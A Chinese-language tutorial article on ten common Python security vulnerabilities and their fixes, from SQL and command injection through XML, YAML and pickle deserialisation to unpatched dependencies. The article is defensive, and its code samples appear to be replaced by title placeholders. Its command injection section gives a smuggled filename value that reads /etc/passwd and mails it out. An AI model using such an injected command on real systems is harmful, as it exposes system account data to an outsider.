天天看點

Python中10個常見的安全漏洞及修複方法

編寫安全的代碼很困難,當你學習一門程式設計語言、一個子產品或架構時,你會學習其使用方法。在考慮安全性時,你需要考慮如何避免代碼被濫用,Python也不例外,即使在标準庫中,也存在着許多糟糕的執行個體。然而,許多 Python 開發人員卻根本不知道這些。

以下是我總結的10個Python常見安全漏洞,排名不分先後。

1、輸入注入

注入攻擊影響廣泛且很常見,注入有很多種類,它們影響所有的語言、架構和環境。

SQL 注入是直接編寫 SQL 查詢(而非使用 ORM) 時将字元串與變量混合。我讀過很多代碼,其中“引号字元轉義”被認為是一種修複,但事實并非如此,可以通過這個連結(https://www.netsparker.com/blog/web-security/sql-injection-cheat-sheet/)檢視 SQL 注入所有可能發生的方式。

指令注入有可能在使用 popen、subprocess、os.system 調用一個程序并從變量中擷取參數時發生,當調用本地指令時,有人可能會将某些值設定為惡意值。

下面是個簡單的腳本(連結:https://www.kevinlondon.com/2015/07/26/dangerous-python-functions.html),使用使用者提供的檔案名調用子程序:

Python中10個常見的安全漏洞及修複方法

攻擊者會将filename的值設定為“; cat /etc/passwd | mail [email protected]或者其他同樣危險的值。

修複方法:

如果你使用了 Web 架構,可以用附帶的實用程式對輸入進行清理,除非有充分的理由,否則不要手動建構 SQL 查詢,大多數 ORM 都有内置的清理方法。

對于 shell,可以使用 shlex 子產品正确地轉義輸入。

2、解析XML

如果您的應用程式加載并解析XML檔案,可能您正在使用一個XML标準庫子產品。有一些針對XML的常見攻擊。大多數為DoS風格(旨破壞系統而不是盜取資料)。這些攻擊很常見,特别是在解析外部(即不可信任的)XML檔案時。

其中一種攻擊為“billion laughs”,因為加載的檔案包含了很多個(數十億)“lols”。你可以加載XML實體檔案,當XML解析器試圖将這個XML檔案加載到記憶體中時,會消耗很多個G的記憶體。不信就試試看:-)

Python中10個常見的安全漏洞及修複方法

另一種攻擊使用外部實體擴充。XML支援從外部URL引用實體,XML解析器通常會直接擷取并加載該資源。“攻擊者可以繞開防火牆通路保密資源,因為所有請求都是由内部可信的IP位址建立的,請求不是來自于外部。”

需要考慮的另一種情況是您要依賴于第三方軟體包來解碼XML,例如配置檔案,遠端API。您甚至不知道您的某個依賴包已經暴露在攻擊之下。

那麼在Python中會發生什麼?标準庫子產品etree,DOM,xmlrpc都容易遭受這些類型的攻擊。詳情參考此連結:https://docs.python.org/3/library/xml.html#xml-vulnerabilities

修複方法:

直接用defusedxml(連結:https://pypi.org/project/defusedxml/)替換标準庫子產品。它增加了針對這類攻擊的安全防護。

3、Assert 語句

不要使用 assert 語句來防止使用者通路特定代碼段。例如:

Python中10個常見的安全漏洞及修複方法

預設情況下,Python 以 debug 為 true 來執行腳本,但在真實環境中,通常使用優化運作,這将會跳過 assert 語句并直接轉到安全代碼,而不管使用者是否是 is_admin 。

修複方法:

僅在單元測試中使用 assert 語句。

4、計時攻擊

計時攻擊本質上是一種通過計算比較提供值所需時間來暴露行為和算法的方式。計時攻擊需要精确性,是以通常不能用于高延遲的遠端網絡。由于大多數 Web 應用程式涉及可變延遲,是以幾乎不可能針對 HTTP Web 伺服器編寫計時攻擊。

但是,如果你的應用程式有提示輸入密碼的指令行,攻擊者就可以編寫一個簡單的腳本來計算将其值與實際密碼進行比較所需的時間。例子參考連結:http://jyx.github.io/blog/2014/02/02/timing-attack-proof-of-concept/

這裡有一個基于SSH計時攻擊的Python 工具,你可以看看如何使用它。連結:https://github.com/c0r3dump3d/osueta

修複方法:

使用在 Python 3.5 中引入的 secrets.compare_digest 來比較密碼和其他私密值。

5、感染site-packages 或導入路徑

Python的導入系統非常靈活。當你為測試程式編寫猴子更新檔,或者重載核心函數時,你會感覺非常友善。

但這也是Python最大的安全漏洞之一。

将第三方包安裝到site-packages中,無論是在虛拟環境中還是在全局site-packages中,你都将暴露在安全風險中。

有一些釋出到PyPi的包與流行的包具有相似的名稱,但是卻執行了任意代碼。幸運的是,這很可能沒有太大危害,隻會“明确表示”這個問題沒有得到真正的解決。

需要考慮的另一種情況是多層依賴包。它們可能包含漏洞,它們也可以通過導入系統重寫Python預設行為。

修複方法:

你可以利用http://PyUp.io這個網站提供的工具檢查你的第三方包。使用虛拟環境,確定您的全局site-packages盡可能幹淨。檢查包簽名。

6、臨時檔案

要在 Python 中建立臨時檔案,你通常會使用 mktemp ( )函數生成一個檔案名,然後使用該名稱建立一個檔案。“這是不安全的,因為另一個程序可能會在調用 mktemp ( )和随後嘗試通過第一個程序建立檔案之間的空隙建立一個同名檔案。”這意味着應用程式可能加載錯誤的資料或暴露其他的臨時資料。

如果調用不正确,最新版本的 Python 會發出運作警告。

修複方法:

如果需要生成臨時檔案,請使用 tempfile 子產品并使用 mkstemp。(參考連結:https://docs.python.org/3/library/tempfile.html#tempfile.mkstemp)

7、使用 yaml.load

這裡引用 PyYAML 的說明文檔:警告:使用不可信源的資料調用 yaml.load 是不安全的!yaml.load 和pickle.load 一樣強大,是以可以調用任何 Python 函數。

在流行的Python項目 Ansible 中找到的這樣一個例子(連結:https://www.talosintelligence.com/reports/TALOS-2017-0305),你可以将此值提供給 Ansible Vault作為(有效的)YAML,它使用檔案中提供的參數調用 os.system。

是以,從使用者提供的值中加載 YAML 檔案會讓應用大門洞開,很容易遭受攻擊。

修複方法:

總是使用 yaml.safe_load,除非你有其它更好的方法。

8、Pickle漏洞

用pickle反序列化資料和YAML一樣糟糕。在pickle對象時,Python類可以聲明一個名為__reduce__的魔術方法,該方法傳回一個字元串、或一個元組。攻擊者可以使用它來引用其中一個子程序子產品,在主機上運作任意指令。

這有一個在Python2中pickle一個類并打開shell的例子(連結:https://blog.nelhage.com/2011/03/exploiting-pickle/)。更多利用pickle漏洞的方法請看這個連結:https://lincolnloop.com/blog/playing-pickle-security/

Python中10個常見的安全漏洞及修複方法

修複方法:

切勿用pickle反序列化不受信任或未經身份驗證的資料。改用另一種序列化模式,如JSON。

9、使用系統自帶的Python而不修補漏洞

大多數可移植作業系統都自帶Python2,通常還是舊版本。由于“Python”,即CPython是用C語言編寫的,是以Python解釋器本身存在漏洞。C語言中常見的安全問題與記憶體配置設定有關,是以存在緩沖區溢出錯誤。

多年來CPython出現了多個溢出漏洞,每個漏洞都在後續版本中進行了修複。也就是說,如果你修補了Python本身的漏洞,你就是安全的。

這裡有一個Python2.7.13及以下版本的整數溢出漏洞執行個體,連結:https://www.cvedetails.com/cve/CVE-2017-1000158/。Ubuntu17以前版本的Python漏洞請參看連結:https://distrowatch.com/table.php?distribution=ubuntu

修複方法:

安裝最新版本的Python并及時修補漏洞。

10、不修補依賴包的漏洞

類似于修補Python本身的漏洞,您還需要定期修補依賴包漏洞。有人習慣于使用PyPi軟體包的“固定”版本,這種做法很可怕。他們認為“這些是有用的版本”,是以每個人都對漏洞置若罔聞。